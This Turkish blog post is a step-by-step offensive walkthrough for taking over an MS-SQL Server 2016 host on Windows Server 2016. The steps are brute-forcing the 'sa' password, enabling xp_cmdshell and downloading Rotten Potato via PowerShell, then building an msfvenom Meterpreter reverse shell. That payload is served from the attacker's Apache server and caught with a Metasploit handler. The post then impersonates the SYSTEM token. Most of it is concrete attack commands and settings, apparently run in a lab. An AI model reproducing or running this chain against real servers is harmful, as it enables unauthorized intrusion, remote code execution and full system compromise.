• Kategori: Güvenlik
  • Eyüp ÇELİK
  • Gösterim: 1611

Windows Server ve MSSQL Server 2016 Privilege Escalation

MS-SQL hakkında daha önce çok yazıp çizdim. MS-SQL post exploitation işlemi için yetkiye ihtiyacımız bulunmaktadır. Daha önce yazdığım yazıların birçoğunda hak ve yetkilerin olması durumunda işlemler yapılabildiğinden bahsettim.

Günümüzde en çok kullanılan ürünler, MS-SQL Server 2012, MS-SQL Server 2014 ve en güncel MS-SQL Server 2016 SP1 versiyonlarıdır. Şimdiye kadar uğraşmış olduğum MS-SQL sunucuları genel itibari ile şu bağımlıklara sahipti. MS-SQL 2012 – Windows Server 2008 R2, MS-SQL 2014 – Windows Server 2012 R2, MS-SQL 2016 – Windows Server 2016 şeklinde kurulduğunu söyleyebilirim.

Özellikle MS-SQL Server 2012 ve sonrasındaki sürümler, eğer özel olarak değiştirilmesiyse “MSSQLSERVER” adında bir servis hesabı ile MS-SQL Database Engine servisini çalıştırmaktadır. Dolayısı ile bir MS-SQL sunucusu ele geçirildikten sonra da birçok işlem için “Access Denied” hatası alırız. Böyle bir durumda artık çok fazla ilerleme şansımız kalmıyor. Hele ki Windows Server 2012 R2 üzerine kurulu herhangi bir MS-SQL sunucusundan ilerlemek oldukça sıkıntılı durumdu.

Windows Server 2008, Windows Server 2012 R2 ve Windows Server 2016’nın yanı sıra MS-SQL Server 2008, MS-SQL Server 2012, MS-SQL Server 2014 ve MS-SQL Server 2016 SP1 için hak ve yetki yükseltme konusuna değineceğim. Bu makale Windows Server 2016 üzerine kurulu olan MS-SQL Server 2016 SP1 üzerinden hak ve yetki yükseltme konusunu işlemektedir. Dolayısı ile daha alt versiyonlara kadar tüm sürümlerde geçerli güncel bir teknik ile bu işlemi gerçekleştireceğimizi söyleyebilirim. Yazıyı kaleme almadan önce Windows Server 2012 R2 ve MS-SQL Server 2014 versiyonlarında da ayrıca denenmiş ve başarılı olmuştur.

MS-SQL Server 2016 SP1’e ait yetkiler aşağıdaki gibidir. SQL veritabanı ve servisleri varsayılan hak ve yetkiler ile kurulmuştur.

1 mssql user acc

MS-SQL Server 2016 yukarıdaki hak ve yetkiler ile kurulmuştur. Ayrıca MS-SQL varsayılanda aşağıdaki tabloda yer alan servis isimleri ve görevleri ile birlikte gelmektedir.

Servis Hesabı Yetkisi
SQL Server Database Services Veritabanı Hizmetleri - SQL Server ilişkisel Veritabanı Altyapısı için kullanılan hizmettir. Çalıştırılabilir dosya <MSSQLPATH>\MSSQL\Binn\sqlservr.exe'dir.
SQL Server Agent İşleri yürütür, SQL Server'ı izler, uyarılar gönderir ve bazı yönetim görevlerinin otomasyonunu sağlar. SQL Server Agent hizmeti SQL Server Express sürümünde devre dışı olarak gelir. Çalıştırılabilir dosya <MSSQLPATH>\MSSQL\Binn\sqlagent.exe dosyasıdır.
Analysis Services İş zekâsı uygulamaları için çevrimiçi analitik işleme (OLAP) ve veri madenciliği işlevselliği sağlar. Çalıştırılabilir dosya <MSSQLPATH>\OLAP\Bin\msmdsrv.exe'dir.
Reporting Services Raporları yönetir, yürütür, hazırlar, programlar ve teslim eder. Çalıştırılabilir dosya <MSSQLPATH>\Reporting Services\ReportServer\Bin\ReportingServicesService.exe dosyasıdır.
Integration Services Entegrasyon Hizmetleri paketinin depolanması ve yürütülmesi için yönetim desteği sağlar. Çalıştırılabilir yol <MSSQLPATH>\110\DTS\Binn\MsDtsSrvr.exe
SQL Server Browser İstemci bilgisayarlar için SQL Server bağlantı bilgilerini sağlayan ad çözümleme hizmeti. Çalıştırılabilir yol C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe
Full-text search SQL Server için belge filtreleme için yapılandırılmış ve özellikleri hakkında hızlı bir şekilde tam metin dizinleri oluşturur.
SQL Writer Birim Gölge Kopyası Hizmeti (VSS) çerçevesinde çalışacak yedekleme ve geri yükleme uygulamalarına izin verir.

MS-SQL Server varsayılanda bir “Domain User”, “Local User”, “Managed Service Accounts”, “Virtual Accounts” veya “Builtin SYSTEM” ile başlatılabilir. Servisi başlatmak ya da çalıştırmak için kurulum sırasında hesap türünün belirtilmesi gerekmektedir.

MS-SQL Server; Windows 7 ve Windows 2008 işletim sistemi ve sonrasındaki sürümler için aşağıdaki tabloda yer alan hesaplar ile gelmekte ve çalışmaktadır.

Bileşen Windows Server 2008 Windows 7, Windows Server 2008 R2 ve Sonrası
Database Engine NETWORK SERVICE Virtual Account
SQL Server Agent NETWORK SERVICE Virtual Account
SSAS NETWORK SERVICE Virtual Account
SSIS NETWORK SERVICE Virtual Account
SSRS NETWORK SERVICE Virtual Account
SQL Server Distributed Replay Controller NETWORK SERVICE Virtual Account
SQL Server Distributed Replay Client NETWORK SERVICE Virtual Account
FD Launcher (Full-text Search) LOCAL SERVICE Virtual Account
SQL Server Browser LOCAL SERVICE LOCAL SERVICE
SQL Server VSS Writer LOCAL SYSTEM LOCAL SYSTEM
Advanced Analytics Extensions NTSERVICE\MSSQLLaunchpad NTSERVICE\MSSQLLaunchpad

Yukarıdaki tabloda da görüleceği üzere, esas hedefimiz olan ve göndereceğimiz tüm kodları işleyecek olan servis “Database Engine”dir. Dolayısı ile Database Engine servisi Windows Server 2008 işletim sistemi için “NETWORK SERVICE” hesabı ile gelmektedir. Windows Server 2008 sonrasındaki işletim sistemleri (Windows Server 2008 R2, Windows Server 2012 R2, Windows Server 2016 vb.) için “Virtual Account” kullanılmaktadır. Yani Windows Server 2008 işletim sisteminden sonraki tüm versiyonlarda kullanıcı hak ve ayrıcalıkları minimize edilmiştir.

Hizmet hesapları ve sanal hesaplar diğer hesaplardan izole edilmiştir. Hal böyle olunca da “sysadmin (sa)” hak ve yetkilerine sahip herhangi bir kullanıcının hesabı ele geçirilse dahi yönetimsel komutlar (yerel kullanıcı ekleme vb.) işletim sisteminde çalıştırılamamaktadır.

Servis Sanal Hesap Adı
Veritabanı Altyapısı Hizmetinin Varsayılan Örneği NT SERVICE\MSSQLSERVER
SQLEXPRESS Adlı Bir Veritabanı Altyapısı Hizmetinin Adlandırılmış Örneği NT SERVICE\MSSQL$SQLEXPRESS
SQL Server Agent Hizmeti NT SERVICE\SQLSERVERAGENT
SQLEXPRESS Adlı SQL Server Agent hizmeti NT SERVICE\SQLAGENT$ SQLEXPRESS

MS-SQL Server 2016 için gelen sanal hesap, aşağıdaki tabloda yer alan hak ve ayrıcalıklara sahiptir.

SQL Server Hizmeti Hak ve Yetki

NT SERVICE\MSSQLSERVER veya

NT SERVICE\MSSQL$InstanceName

İşlem düzeyinde bir simge değiştirme (SeAssignPrimaryTokenPrivilege)

Çapraz kontrolü atlama

(SeChangeNotifyPrivilege)

Bir süreç için bellek kotalarını ayarlama (SeIncreaseQuotaPrivilege)

SQL Writer'ı başlatma

Olay Günlüğü hizmetini okuma izni

Uzaktan Yordam Çağrısı hizmetini okuma izni

MS-SQL Server 2016 servis hesabı varsayılanda aşağıdaki dizinlere erişim sağlayabilir.

Hesap Dosya ve Dizinler Erişim
MSSQLServer MSSQL\backup Tam kontrol
MSSQL\binn Oku, Yürüt
MSSQL\data Tam kontrol
MSSQL\FTData Tam kontrol
MSSQL\Install Oku, Yürüt
MSSQL\Log Tam kontrol
MSSQL\Repldata Tam kontrol
%UserProfile%\MSSQLSERVER Tam kontrol

Tüm bunların dışında MS-SQL Server 2016 “xp_cmdshell” ve Windows “WMI” servislerine de erişebilmektedir.

MS-SQL Server 2016 SP1 ve Windows Server 2016 görüleceği üzere, en düşük hak ve yetkilere sahiptir. Dolayısı ile normal bir user hesabından daha yetkisiz bir hesap olan bu servis hesaplarının hak ve yetkilerinin yükseltilerek komut çalıştırılması ve sistemin ele geçirilmesi hedeflenmektedir.

Makalenin devamında hak ve yetki yükseltmek için temel olarak aşağıdaki adımları izleyeceğiz.

  1. MS-SQL Server 2016 SP1’in “sysadmin” hak ve yetkilerine sahip olan “sa” kullanıcısının parolasını bulma (Brute Force)
  2. Parolası bulunan “sa” kullanıcısı ile “xp_cmdshell”i aktif etme
  3. Privilege Escalation için “Rottenpotato.exe” dosyasını MS-SQL sunucusuna yükle
  4. Meterpreter oluşturarak xp_cmdshell üzerinden hedef sunucuya gönder
  5. xp_cmdshell üzerinden Meterpreter bağlantısı al
  6. Rottenpotato.exe ile hak ve yetkileri yükselt

Belki biraz karışık gelebilir. Ancak basit birkaç adımdan oluşan bir senaryo olacaktır. Temel olarak Meterpreter bağlantısı aldıktan sonra rottenpotato ile hak ve yetki yükseltilecektir. Rottenpotato’nun kaynak kodlarını içeren github linki ile temel çalışma mantığı kaynaklar kısmında yer almaktadır.

Hedefimizdeki Windows Server 2016 işletim sistemi aşağıdaki gibi güncel durumdadır.

2 windows server 2016 update

Hedef Windows Server 2016 işletim sistemi 192.168.223.130 IP adresine ve saldırgan Kali Linux sunucumuz da 192.168.223.128 IP adresine sahiptir.

Post Exploitation ve hak – yetki yükseltmek için “sa” hesabını ele geçirmemiz gerekiyor. Bu sebeple MS-SQL sunucusuna brute force işlemi gerçekleştireceğiz. Bu işlem için WarSQLiv2’yi kullanacağız. WarSQLiv2 kullanım rehberine bu linkten ulaşabilirsiniz: http://eyupcelik.com.tr/guvenlik/490-warsqliv2-kullanim-rehberi

3 warsqli mssql scan

WarSQLiv2’yi başlattık. IP kısmına 192.168.223.130 IP adresini ve aralık kısmına da son oktet olan 130’u girdik. Böylelikle bir IP adresi için MS-SQL servis tespitini başlattık. Ardından Devam butonu ile brute force işlemine geçiyoruz.

4 warsqli mssql brute force

192.168.223.130 IP adresine sahip Windows Server 2016 işletim sistemi üzerinde kurulu olan MS-SQL Server 2016 SP1’e ait “sa” şifresini tespit ettik.

Parolayı tespit etmemiz ile birlikte Exploit menüsü aktif oldu. Şimdi “Hak ve Yetki Yükseltme” menüsünden “Privilege Escalation”ı seçelim.

Uygulama varsayılanda girilmiş olan “Rottenpotato.exe”nin github adresi üzerinden “Powershell” kullanarak “C:\Users\MSSQLSERVER\Potato.exe” dizinine dosyayı indirecektir. Ayrıca uygulama varsayılanda “xp_cmdshell” prosedürü kapalı ise aktif hale getirecektir.

Not: xp_cmdshell ve powershell’in kullanımı ile ilgili olarak, aşağıdaki kaynaklarda yer alan “MS-SQL Hacking ve Post Exploitation Yöntemleri” konu başlıklı makale serisini okuyabilirsiniz.

6 warsqli mssql 2016 privilege escalation 2

Dosya belirttiğimiz konuma indirildi. Artık bir sonraki adıma geçerek Meterpreter zararlısını oluşturabiliriz.

7 msfvenom

Msfvenom aracı ile 192.168.223.128 Kali’ye ait IP adresimizin 110 portuna dönecek olan 7KB boyuna sahip bir Meterpreter oluşturdum. Burada dikkat etmemiz gereken husus şudur; hak ve yetkiyi yükseltebilmek için oluşturmamız gereken Meterpreter x64 mimari ile üretilmelidir. Aksi taktirde hataya düşme ya da yetkiyi yükseltememe ihtimalimiz var.

Hazır xp_cmdshell açılmış iken bağlandığımız kullanıcının hesap bilgilerine de bakarak hak ve yetkilerini görelim.

8 whoami

Powershell menüsünden “powershell whoami” komutu ile şu an kod çalıştıran kullanıcının hak ve yetkilerinin “NT SERVICE\MSSQLSERVER” olduğunu görebiliriz.

Şimdi Kali sunucumuzda oluşturduğumuz dosyayı “/var/www/html” dizinine taşıyarak, web servisi üzerinden indirilebilir hale getirelim.

9 meterpreter apache

mv /root/Desktop/sqlserveragent.exe /var/www/html/sqlserveragent.exe” komutu ile masaüstüne oluşturduğumuz “sqlserveragent.exe” dosyasını “/var/www/html” dizinine taşıdık.

chmod 777 /var/www/html/sqlserveragent.exe” komutu ile taşıdığımız dosyaya tam erişim yetkisi verdik.

service apache2 start” komutu ile de apache servisini başlatarak web hizmeti üzerinden oluşturduğumuz dosyayı erişim imkanı verdik.

Hemen ardından Kali’ye gelecek bağlantıları kabul etmek için bir multi\handler başlatmamız gerekiyor. Bir konsol açarak “msfconsole” komutunu kullanarak Metasploit Framework Console’u başlatalım.

10 meterpreter multi handler

Komut Komut Açıklaması
use exploit/multi/handler Gelen bağlantıları karşılamak için multi\handler kullanıldı
set PAYLOAD windows/x64/meterpreter/reverse_tcp Karşı tarafa gönderilen payload’a uygun bir Payload seçildi
set LHOST 192.168.223.128 Gelen bağlantının 192.168.223.128 IP adresi ile karşılanacağı set edildi
set LPORT 110 Gelen bağlantıyı devralmak için 110 portu dinleme moduna alındı
set ExitOnSession false Birden çok bağlantının kabul edilmesi için bu parametre true moda alındı
exploit -j Port bir job olarak dinleme moduna alındı

Şimdi WarSQLiv2’nin “Exploit\Sızıntı Sonrası\Ters Bağlantı – Meterpreter – RAT” menüsüne erişim sağlayalım. Exe Adresi kısmına Kali makinamızın /var/www/html dizinine yüklediğimiz sqlserveragent.exe dosyasının yolunu verelim. Ardından exenin indirilip çalıştırılacağı dizin olarak da daha önce indirdiğimiz potato.exe nin bulunduğu “C:\User\MSSQLSERVER” dizinini verelim. Teknik olarak “Powershell”i seçmemiz gerekiyor. BITS servisi eğer etkin değil ise “NT SERVICE\MSSQLSERVER” hesabı ile BITS servisini başlatamayacağız.

11 download meterpreter

Ayarlarımızı yukarıdaki gibi belirledikten sonra artık “İndir ve Çalıştır” dememiz gerekiyor. Çalıştırma esnasında program üzerinde bir donma durumu olabilir. Bu durumda programın çalışmasını durdurmayın. Eğer program donmuş bir durumdaysa dosyayı indirmiş ve çalıştırmış, result dönmesini bekliyor demektir. Çünkü gönderdiğimiz komutlar xp_cmdshell üzerinden işletim sistemine iletildiği için MS-SQL’in bir result dönmesini beklemek durumundayız.

12 execute meterpreter

 Yukarıdaki gibi bir çıktı aldıysak Meterpreter karşı tarafta çalıştırılmış ve powershell result belirli bir süre işletim sisteminden result alamadığı için XML verisi döndürmüş demektir. Hemen Kali sunucumuza dönerek gelen bağlantılara bakalım.

13 meterpreter session 1

Görüleceği üzere bir session gelmiş. “session -i 2” komutu ile session’a geçiyoruz.

14 meterpreter getuid 1

Session’a geçtik. Ardından “getuid” komutu ile kullanıcımızın adına baktık. Kullanıcımız görüleceği üzere en düşük hak ve yetkilere sahip bir servis hesabıdır. Dolayısı ile bu yönetimsel komut çalıştıramayacağımız anlamına geliyor. Bundan sonra hak ve yetki yükseltme işlemine geçmemiz gerekiyor.

14 meterpreter incognito 1

Bu işlemlerin ardından “load incognito” komutu ile incognito modülü kullanılabilir hale getirdik. “list_token -u” komutu ile “impersonate” edeceğimiz token’lara baktık. Ancak sistem üzerinde impersonate edebileceğimiz bir token olmadığını görüyoruz. Şimdi gidip “potato.exe”yi çalıştırarak hak ve yetkimizi yükseltmeliyiz.

15 meterpreter dir

Meterpreter’ın çalışma dizinini “Potato.exe” dosyasını yüklediğimiz “C:\ Users\MSSQLSERVER” olarak değiştirdik. Hemen ardından “ls” komutu ile dizinde potato.exe’nin olup olmadığını kontrol ettik. Burada dikkat etmemiz gereken husus şudur; dizin değişirken her bir alt dizin için 2 adet \\ kullandık. Eğer bunu kullanmasaydık, Meterpreter syntax hatasına düşecekti. Bu kısa bilginin de ardından potato.exe yi çalıştırmamız gerekiyor.

16 run rottenpotato

execute -c -f ./Potato.exe” komutu ile potato.exe’yi çalıştırdık. Şimdi tekrar token’ları listeliyoruz.

17 rottenpotato impersonate

“list_token -u” komutu ile baktığımızda “NT AUTHORITY\SYSTEM” kullanıcısının token’ını impersonate edebileceğimizi görüyoruz. Vakit kaybetmeden hemen yapıyoruz.

18 rottenpotato impersonate token

impersonate_token “NT AUTHORITY\\SYSTEM”” komutu ile token’ı aldık. Dikkat etmemiz gereken 2 husus var. Birincisi yukarıda da belirttiğim gibi \ kullanırken 2 tane kullanmamız gerekiyor syntax hatasına düşmemek için. İkincisi ise NT AUTHORITY arasında boşluk olduğu için komutun hataya düşmemesi için başına ve sonuna çift tırnak işareti koyduk. Şimdi yetkilerimizi kontrol edelim.

19 system impertonate

Görüleceği üzere artık en yetkili hesabın haklarına sahibiz.

Burada dikkat etmemiz gereken en önemli hususlardan biri şudur; potato.exe yi çalıştırdıktan sonra eğer token göremiyorsak windows’un update zamanını beklememiz gerekebilir. Çünkü bu uygulama hak ve yetki yükseltirken bu hizmet ile hak ve yetkisini yükseltebilmektedir. Ayrıca potato.exe nin birden çok defa başlatılması da token alamamamıza sebep olmaktadır. Daha önce başlattığımız bir potato.exe process’i varsa sonlandırıp, öyle başlatmamız gerekiyor.

Bu yöntem aynı zamanda Windows Server 2016 üzerine kurulu IIS sunucuda da denenmiş olup, IIS üzerinden de hak ve yetki yükseltilebilmektedir.

Tüm yazı boyunca beraber uğraştığımız sevgili kardeşim Tolga Sezer’e de emeklerinden dolayı buradan teşekkürlerimi iletiyorum.

Referanslar:

https://msdn.microsoft.com/en-us/library/ms143504.aspx

https://foxglovesecurity.com/2016/01/16/hot-potato/

https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

http://eyupcelik.com.tr/guvenlik/490-warsqliv2-kullanim-rehberi

http://eyupcelik.com.tr/guvenlik/486-ms-sql-hacking-ve-post-exploitation-yontemleri-bolum-1

http://eyupcelik.com.tr/guvenlik/487-ms-sql-hacking-ve-post-exploitation-yontemleri-bolum-2

http://eyupcelik.com.tr/guvenlik/488-ms-sql-hacking-ve-post-exploitation-yontemleri-bolum-3

http://eyupcelik.com.tr/guvenlik/489-ms-sql-hacking-ve-post-exploitation-yontemleri-bolum-4

Yorum ekle


Güvenlik kodu Yenile

Bookmaker betfair Bonus review by ArtBetting.co.uk

Bookmaker bet365 review by ArtBetting.co.uk

Germany bookmaker b.artbetting.de review by ArtBetting.de

Bookmaker Greece BET365 review by ArtBetting.gr

Back to top